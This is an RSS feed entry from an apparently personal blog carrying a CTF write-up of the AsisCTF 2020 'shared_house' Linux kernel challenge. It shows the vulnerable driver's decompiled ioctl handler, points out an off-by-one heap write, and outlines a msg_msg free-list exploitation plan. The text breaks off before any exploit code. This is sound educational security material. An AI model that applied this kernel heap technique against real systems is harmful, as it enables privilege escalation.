<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Off-by-One on Uniguri&#39;s Blog</title>
    <link>/tags/off-by-one/</link>
    <description>Recent content in Off-by-One on Uniguri&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Thu, 27 Feb 2025 12:17:57 +0000</lastBuildDate><atom:link href="/tags/off-by-one/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>AsisCTF2020Qual shared_house</title>
      <link>/posts/kernel/write-ups/ctf/asisctf2020qual-shared_house/</link>
      <pubDate>Thu, 27 Feb 2025 12:17:57 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/asisctf2020qual-shared_house/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;enviroment&#34;&gt;Enviroment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v4.19.98/source&#34;&gt;&lt;code&gt;4.19.98&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide simple device (it has only one function: &lt;code&gt;mod_ioctl&lt;/code&gt;). And the function is like following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; __padding0[&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uint64_6 &lt;span style=&#34;color:#a6e22e&#34;&gt;mod_ioctl&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; file &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;a1, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; cmd, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;__int64&lt;/span&gt; arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; req;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;req, arg, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10LL&lt;/span&gt;)) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;14LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x80&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED002&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED002: delete_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED001&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED001: alloc_new_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (note) &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; req.size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#a6e22e&#34;&gt;_kmalloc&lt;/span&gt;(req.size, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x6080C0LL&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED003&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED003: write_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(note, req.data, req.size))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note[req.size] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;  &lt;span style=&#34;color:#75715e&#34;&gt;// off-by-one if req.size==size
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED004&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_to_user&lt;/span&gt;(req.data, note,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          req.size)) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd ==  0xC12ED004: read_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ERROR:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;The vulnerability is obvious. The &lt;a href=&#34;https://en.wikipedia.org/wiki/Off-by-one_error&#34;&gt;off-by-one&lt;/a&gt; in write_note.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;enviroment&#34;&gt;Enviroment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v4.19.98/source&#34;&gt;&lt;code&gt;4.19.98&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide simple device (it has only one function: &lt;code&gt;mod_ioctl&lt;/code&gt;). And the function is like following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; __padding0[&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uint64_6 &lt;span style=&#34;color:#a6e22e&#34;&gt;mod_ioctl&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; file &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;a1, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; cmd, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;__int64&lt;/span&gt; arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; req;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;req, arg, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10LL&lt;/span&gt;)) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;14LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x80&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED002&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED002: delete_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED001&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED001: alloc_new_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (note) &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; req.size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#a6e22e&#34;&gt;_kmalloc&lt;/span&gt;(req.size, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x6080C0LL&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED003&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED003: write_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(note, req.data, req.size))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note[req.size] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;  &lt;span style=&#34;color:#75715e&#34;&gt;// off-by-one if req.size==size
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED004&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_to_user&lt;/span&gt;(req.data, note,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          req.size)) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd ==  0xC12ED004: read_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ERROR:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;The vulnerability is obvious. The &lt;a href=&#34;https://en.wikipedia.org/wiki/Off-by-one_error&#34;&gt;off-by-one&lt;/a&gt; in write_note.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;p&gt;Since the off-by-one occurs in heap chunk, I decide to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/msg.h#L9&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt; and free list.
Unlike The free list is in middle and stored protected in latest kernel, it is in front and stored raw in the provided kernel.&lt;/p&gt;
&lt;h3 id=&#34;trigger-off-by-one&#34;&gt;Trigger off-by-one&lt;/h3&gt;
&lt;p&gt;Triggering off-by-one is simple:&lt;/p&gt;
